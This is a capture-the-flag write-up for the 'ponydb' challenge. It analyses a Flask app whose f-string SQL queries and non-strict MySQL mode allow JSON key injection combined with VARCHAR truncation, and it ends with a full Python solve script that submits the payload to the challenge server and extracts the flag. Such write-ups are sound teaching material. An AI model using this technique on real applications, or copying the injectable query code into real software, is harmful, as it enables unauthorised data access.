ponydb
SQL injection and truncation attack

Description

http://ponydb.chal.uiuc.tf
(note: has unintended element that makes it slightly easier. see miniaturehorsedb for the full-difficulty challenge.)
author: kmh
handout.tar.gz
2KB
Binary
handout.tar.gz

Solution

Source Code Analysis

We are provided with the source code for a Flask web application.
First, a MySQL connection is established and a ponies table is created. The flag is also loaded into the flag variable.
1
flag = os.environ['FLAG']
2
​
3
config = {
4
'host': os.environ['DB_HOST'],
5
'user': os.environ['DB_USER'],
6
'password': os.environ['DB_PASS'],
7
'database': os.environ['DB'],
8
'sql_mode': 'NO_BACKSLASH_ESCAPES'
9
}
10
​
11
for i in range(30):
12
try:
13
conn = mysql.connector.connect(**config)
14
break
15
except mysql.connector.errors.DatabaseError:
16
time.sleep(1)
17
else: conn = mysql.connector.connect(**config)
18
cursor = conn.cursor()
19
try: cursor.execute('CREATE TABLE `ponies` (`name` varchar(64), `bio` varchar(256), '
20
'`image` varchar(256), `favorites` varchar(256), `session` varchar(64))')
21
except mysql.connector.errors.ProgrammingError: pass
22
cursor.close()
23
conn.close()
Copied!
There are two endpoints, GET / and POST /pony. Let's take a look at how they behave.

GET Endpoint

1
@app.route('/')
2
def ponies():
3
cnx = mysql.connector.connect(**config)
4
cur = cnx.cursor()
5
​
6
if 'id' not in session:
7
session['id'] = secrets.token_hex(32)
8
cur.execute("INSERT INTO `ponies` VALUES ('Pwny', 'Pwny is the official mascot of SIGPwny!', "
9
"'https://sigpwny.github.io/images/logo.png', " + \
10
f"'{{\"color\":\"orange\",\"word\":\"pwn\",\"number\":13}}', '{session['id']}')")
11
cnx.commit()
Copied!
If a session ID has not yet been assigned, a secure one is generated and the ponies table in the database is populated with a default pony.
Interestingly, f-strings are used instead of parameterized queries. In this case, unfortunately, we do not have control over session['id'].
Note the unusual format of the favorites data - it is meant to be a JSON string. The default pony has the following favorites data:
1
{"color":"orange","word":"pwn","number":13}
Copied!
A SELECT statement is then used to fetch the ponies corresponding to the session ID. Notice that the favorites data is parsed by json.loads() into a Python dictionary.
The ponies' data is stored into the ponies variable.
1
ponies = []
2
cur.execute(f"SELECT * FROM `ponies` WHERE session='{session['id']}'")
3
for (name, bio, image, data, _) in cur:
4
ponies.append({"name": name, "bio": bio, "image": image, "favorites": json.loads(data)})
5
​
6
cur.close()
7
cnx.close()
Copied!
Finally, the ponies.html template is rendered with the ponies and flag variables.
1
return render_template('ponies.html', ponies=ponies, flag=flag)
Copied!
In ponies.html, we find that flag is rendered under the condition that the pony's "favorite number" (the one stored in the JSON data) is 1337. This is the condition we have to bypass in order to solve the challenge.
1
{% for favorite in pony['favorites'] %}
2
<p>Favorite {{ favorite }}: {{ pony['favorites'][favorite] }}</p>
3
{% if favorite == 'number' and pony['favorites'][favorite] == 1337 %}
4
<p>Favorite flag: {{ flag }}</p>
5
{% endif %}
6
{% endfor %}
Copied!

POST Endpoint

Now, if we look at the POST endpoint, we will start to get an idea of the intended exploit.
There are 7 parameters to submit. Each one is checked for single quotes ('), and the length of the parameters are checked. While we have control over the number parameter, the validation ensures that it is an integer from 0 to 100, so we cannot simply set it to 1337.
1
@app.route('/pony', methods=['POST'])
2
def add():
3
error = None
4
​
5
name = request.form['name']
6
if "'" in name: error = 'Name may not contain single quote'
7
if len(name) > 64: error = 'Name too long'
8
​
9
bio = request.form['bio']
10
if "'" in bio: error = 'Bio may not contain single quote'
11
if len(bio) > 256: error = 'Bio too long'
12
​
13
image = request.form['image']
14
if "'" in image: error = 'Image URL may not contain single quote'
15
if len(image) > 256: error = 'Image URL too long'
16
​
17
favorite_key = request.form['favorite_key']
18
if "'" in favorite_key: error = 'Custom favorite name may not contain single quote'
19
if len(favorite_key) > 64: 'Custom favorite name too long'
20
​
21
favorite_value = request.form['favorite_value']
22
if "'" in favorite_value: error = 'Custom favorite may not contain single quote'
23
if len(favorite_value) > 64: 'Custom favorite too long'
24
​
25
word = request.form['word']
26
if "'" in word: error = 'Word may not contain single quote'
27
if len(word) > len('antidisestablishmentarianism'): error = 'Word too long'
28
​
29
number = int(request.form['number'])
30
if number >= 100: error = "Ponies can't count that high"
31
if number < 0: error = "Ponies can't count that low"
Copied!
If the checks are passed, then the following INSERT statement is executed. Once again, f-strings are used instead of parameterized queries. This time, however, we have control over the variables through the POST request.
1
if error: flash(error)
2
else:
3
cnx = mysql.connector.connect(**config)
4
cur = cnx.cursor()
5
cur.execute(f"INSERT INTO `ponies` VALUES ('{name}', '{bio}', '{image}', " + \
6
f"'{{\"{favorite_key.lower()}\":\"{favorite_value}\"," + \
7
f"\"word\":\"{word.lower()}\",\"number\":{number}}}', " + \
8
f"'{session['id']}')")
9
cnx.commit()
10
cur.close()
11
cnx.close()
Copied!
While single quotes are filtered, we can easily escape out of the double quotes used in the JSON string. At first thought, we might think that we can simply inject a custom "number": 1337 key-value pair to pass the number check in the Jinja template, thereby rendering the flag in the GET response.
For instance, if we submit number":1337,"color as the favorite_key parameter, the inserted JSON string would be:
1
{"number":1337,"color":"orange","word":"pwn","number":13}
Copied!
Unfortunately, as stated in the documentation, json.loads() handles repeated keys in JSON objects by ignoring everything except the last key-value pair.
Therefore, while we might be able to inject a custom number key-value pair into the JSON string stored in the database, it will eventually be ignored when parsed by the json library.

The (Unintended) Fatal Flaw

It took us a few hours to spot this, but there was a flaw in the code. The favorite_key and favorite_value length checks actually don't produce any errors!
The error variable should have been assigned as follows.
1
if len(favorite_value) > 64: error = 'Custom favorite too long'
Copied!
Instead, the string was not assigned to any variable.
1
if len(favorite_value) > 64: 'Custom favorite too long'
Copied!
Now, if we look back at the creation of the ponies table, we will find that the favorites column has a maximum length of 256.
1
CREATE TABLE `ponies` ( ..., `favorites` varchar(256), ... )
Copied!

The Ultimate Fatal Flaw

According to the MySQL documentation, if strict SQL mode is not enabled, assigning a VARCHAR value that exceeds the column length will cause the value to be truncated without raising an error.
If strict SQL mode is not enabled and you assign a value to a CHAR or VARCHAR column that exceeds the column's maximum length, the value is truncated to fit and a warning is generated. For truncation of nonspace characters, you can cause an error to occur (rather than a warning) and suppress insertion of the value by using strict SQL mode. See Section 5.1.11, β€œServer SQL Modes”.
Note that while strict SQL mode is enabled by default, the sql_mode option was set to 'NO_BACKSLASH_ESCAPES'.
1
config = {
2
3
...
4
5
'sql_mode': 'NO_BACKSLASH_ESCAPES'
6
}
Copied!
As specified in the Python MySQL Connector documentation, this option should be a string of comma-separated modes. Evidently, the above configuration leaves out STRICT_TRANS_TABLES and STRICT_ALL_TABLES, either of which would have enabled strict SQL mode.

Exploitation

Let's revisit the earlier payload. We have number":1337,"color as favorite_key, which results in the following favorites string being inserted into the database:
1
{"number":1337,"color":"orange","word":"pwn","number":13}
Copied!
We can leverage the truncation to "push out" the final "number":13 from the 256-character VARCHAR and insert a truncated string without the final key-value pair. This will resolve the repeated key problem when using json.loads().
My final solve script looked like this. We first set the favorite_key and favorite_value, with favorite_key containing the "number": 1337 key-value pair and favorite_value ending in "}. Next, we create the JSON string up to favorite_value.
Then, we can calculate the number of remaining characters needed to complete the 256-character VARCHAR. This number of characters will be appended to the beginning of favorite_value.
1
import json
2
import requests
3
import re
4
​
5
name = 'test'
6
bio = 'test'
7
image = 'test'
8
favorite_key = 'number":1337,"color'
9
favorite_value = 'A"}'
10
word = 'test'
11
number = '1'
12
session = {'id': 5}
13
​
14
favorites = f"{{\"{favorite_key.lower()}\":\"{favorite_value}"
15
​
16
length = len(favorites)
17
print("Current length:", length, '\n')
18
​
19
remaining = 256 - length
20
favorite_value = 'A' * remaining + favorite_value
21
​
22
print("favorite_value:", favorite_value, '\n')
23
​
24
favorites = f"{{\"{favorite_key.lower()}\":\"{favorite_value}\"," + \
25
f"\"word\":\"{word.lower()}\",\"number\":{number}}}"
26
​
27
print("Length before truncation:", len(favorites), '\n')
28
​
29
sql = f"INSERT INTO `ponies` VALUES ('{name}', '{bio}', '{image}', " + \
30
f"'{{\"{favorite_key.lower()}\":\"{favorite_value}\"," + \
31
f"\"word\":\"{word.lower()}\",\"number\":{number}}}', " + \
32
f"'{session['id']}')"
33
​
34
print("SQL statement:", sql, '\n')
35
​
36
data = f"{{\"{favorite_key.lower()}\":\"{favorite_value}\"," + \
37
f"\"word\":\"{word.lower()}\",\"number\":{number}}}"
38
​
39
data = json.loads(data[:256])
40
print("Parsed JSON:", data, '\n')
41
​
42
s = requests.session()
43
s.get("http://ponydb.chal.uiuc.tf")
44
​
45
payload = {
46
"name": name,
47
"bio": bio,
48
"image": image,
49
"favorite_key": favorite_key,
50
"favorite_value": favorite_value,
51
"word": word,
52
"number": number
53
}
54
​
55
r = s.post("http://ponydb.chal.uiuc.tf/pony", data=payload)
56
match = re.search(r"<p>Favorite flag: (.+)</p>", r.text)
57
print(match[1])
Copied!
The last part of the script just automates the HTTP requests. We could, of course, submit the payload manually as well, and see our pony in all its glory.
Last modified 2mo ago